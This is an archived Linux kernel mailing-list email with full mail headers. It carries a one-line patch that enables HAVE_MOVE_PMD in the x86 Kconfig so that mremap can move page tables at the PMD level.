X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=ba1SMLAqIgmFI6NH+RBLXEYzItBpgF4xQcT0H6ilVn4=;
 b=g1WgO+FlhhNiZDrRdl3aaniX1w8rJ1qdSJsS7s+tYmrG6ci5qYoup4G0oPD+jqe79P
 tihvgluhnl/8oagZG+QP6PcFWwRzjSv/Npt890H81ycv6ZN/Arqtg+aMWXrJY5ZOoaLy
 6q/ZG0MW+qqJJ766QR6bU+7zH4syzrdXMmM4c2SPdXJWpg/DVtCjmctvxg/ReuEwd7Dc
 b7qXTjLQ6r/jPS892tYpPv8KQZoxV2Eh2USaFgeCdPWoSFL0vkXzhnNu5cFb1XUe75W6
 OvfgGlmLe0lPF1XvW6yUKQAENSeLr15jjD/IKFHeHk5R+1OlSoXq16hV/KpbjehoDNwm
 lqVw==
X-Gm-Message-State: AGRZ1gKcLHk2Pnokxaj+EmFZyHPMCIB05eo+LSCR2zGmMlB99pktgBMI
 GCyFXlX5K2uXtAVYzpzLknIX/w==
X-Google-Smtp-Source: AJdET5cPtwjdexdNUSWnBuJxUWSGB/XTgOSIdhsSZPRZi1sLcBzLKRVef9eLSkElUego3TiJVYqalg==
X-Received: by 2002:a17:902:6686:: with SMTP id
 e6-v6mr5476470plk.173.1541700738810; 
 Thu, 08 Nov 2018 10:12:18 -0800 (PST)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id 64-v6sm10028533pfa.120.2018.11.08.10.12.16
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 08 Nov 2018 10:12:17 -0800 (PST)
X-Google-Original-From: Joel Fernandes <joelaf@google.com>
X-Mailer: git-send-email 2.19.1.930.g4563a0d9d0-goog
In-Reply-To: <20181108181201.88826-1-joelaf@google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181108_101229_695562_B14E8293 
X-CRM114-Status: GOOD (  10.42  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:641 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4725 gmane.linux.kernel:2919506 gmane.linux.ports.mips.general:67365 gmane.linux.ports.ia64:29470 gmane.linux.ports.sh.devel:57778 gmane.linux.kernel.mm:206755 gmane.linux.ports.riscv:1453 gmane.linux.ports.sparc:28749 gmane.linux.ports.hexagon:2012 gmane.comp.emulators.kvm.arm.devel:19746 gmane.linux.ports.parisc:29276 gmane.linux.ports.alpha:5425 gmane.linux.ports.ppc64.devel:165409
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4725>

From: "Joel Fernandes (Google)" <joel@joelfernandes.org>

Moving page-tables at the PMD-level on x86 is known to be safe. Enable
this option so that we can do fast mremap when possible.

Suggested-by: Kirill A. Shutemov <kirill@shutemov.name>
Acked-by: Kirill A. Shutemov <kirill@shutemov.name>
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---
 arch/x86/Kconfig | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 605bec0c228f..05f3667de0d2 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -173,6 +173,7 @@ config X86
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_MIXED_BREAKPOINTS_REGS
 	select HAVE_MOD_ARCH_SPECIFIC
+	select HAVE_MOVE_PMD
 	select HAVE_NMI
 	select HAVE_OPROFILE
 	select HAVE_OPTPROBES
-- 
2.19.1.930.g4563a0d9d0-goog

